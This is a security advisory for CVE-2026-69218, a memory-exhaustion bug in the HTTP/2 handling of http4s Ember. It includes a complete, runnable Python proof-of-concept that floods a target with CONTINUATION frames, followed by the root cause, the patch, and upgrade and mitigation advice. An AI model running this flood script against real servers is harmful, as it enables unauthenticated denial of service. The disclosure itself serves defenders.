CVE-2026-69218: http4s Ember HTTP/2 Unbounded CONTINUATION Frame Memory Exhaustion
An attacker can crash any http4s Ember server or client with HTTP/2 enabled by streaming CONTINUATION frames forever, exhausting the JVM heap with no authentication required.

The problem
The Ember HTTP/2 engine in http4s accumulates header block fragments across HEADERS and CONTINUATION frames into an in-memory buffer. Before 0.23.35, there was no bound on how large that buffer could grow.
Any unauthenticated remote peer can open an HTTP/2 stream, send a HEADERS frame with END_HEADERS=0, then send CONTINUATION frames indefinitely. Memory grows until the JVM OOMs. The attack hits both servers (any reachable path, pre-auth) and clients (a malicious origin server triggers it via response headers).
Proof of concept
A working proof-of-concept for CVE-2026-69218 in org.http4s:http4s-ember-core_2.12, with the exact payload below.
#!/usr/bin/env python3
# CVE-2026-69218 - http4s Ember CONTINUATION flood PoC
# Sends one HEADERS frame (END_HEADERS=0) then loops CONTINUATION frames
# with END_HEADERS=0, filling the server's header-block accumulation buffer.
# Run against any h2 Ember server: python3 poc.py <host> <port>
import socket, ssl, struct, sys
CLIENT_PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
def frame(ftype, flags, stream_id, payload):
length = len(payload)
return struct.pack(">I", length)[1:] + bytes([ftype, flags]) + struct.pack(">I", stream_id) + payload
# SETTINGS frame (type=0x4, flags=0, stream=0) - empty, just open the connection
SETTINGS = frame(0x4, 0x0, 0, b"")
# Minimal HPACK block for GET / HTTP/2 (partial, no END_HEADERS)
HPACK_PARTIAL = bytes([
0x82, # :method: GET (indexed)
0x84, # :path: / (indexed)
0x86, # :scheme: https (indexed)
])
# HEADERS frame, stream 1, flags=0x00 (END_HEADERS NOT set)
HEADERS = frame(0x1, 0x00, 1, HPACK_PARTIAL)
# CONTINUATION frame payload: 16 KB of junk header data per frame
# type=0x9, flags=0x00 (END_HEADERS NOT set -> Ember keeps buffering)
CONT_PAYLOAD = b"\x00" * 16384
CONT = frame(0x9, 0x00, 1, CONT_PAYLOAD)
host, port = sys.argv[1], int(sys.argv[2])
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(["h2"])
with socket.create_connection((host, port)) as raw:
with ctx.wrap_socket(raw, server_hostname=host) as conn:
conn.sendall(CLIENT_PREFACE + SETTINGS + HEADERS)
print("[*] Sent HEADERS with END_HEADERS=0, flooding CONTINUATION frames...")
# Keep sending until OOM kills the server or connection drops
sent = 0
while True:
conn.sendall(CONT)
sent += len(CONT_PAYLOAD)
if sent % (1024 * 1024) == 0:
print(f"[*] Sent {sent // 1024 // 1024} MB so far")The root cause is CWE-770: the CONTINUATION frame handler in H2Connection.scala appended each frame's payload to a growing ByteVector accumulator with no size guard. The patch in commit 6e8eccd adds a check against SETTINGS_MAX_HEADER_LIST_SIZE (derived from maxHeaderSize / maxResponseHeaderSize): if the accumulated block would exceed that limit, the connection is terminated with a GOAWAY frame instead of buffering further.
Before the fix, the only bound on memory was the attacker's upload speed and the TCP connection lifetime. Because the attack completes before any request decoding or authentication, all paths are reachable pre-auth. The receiveHeadersTimeout added by the patch provides a second defence: an incomplete header block that lingers too long is also torn down.
The fix
Upgrade to http4s-ember-core 0.23.35 (0.23.x series) or 1.0.0-M47 (1.0.x milestone series). If you cannot upgrade immediately, disable HTTP/2 by removing .withHttp2 from EmberServerBuilder / EmberClientBuilder (it is off by default), or place Ember behind a reverse proxy that terminates HTTP/2 and speaks HTTP/1.1 upstream.
Related research
- high · 7.5CVE-2026-69202CVE-2026-69202: http4s Ember HTTP/2 Unbounded Inbound Body Buffering DoS
- high · 7.5CVE-2026-69203CVE-2026-69203: http4s Ember HTTP/2 Unbounded Stream Allocation DoS
- high · 7.5CVE-2026-69213CVE-2026-69213: http4s Ember HTTP/2 Unbounded Outbound Frame Queue DoS
- criticalCVE-2026-69204CVE-2026-69204: http4s Ember CL.TE HTTP Request Smuggling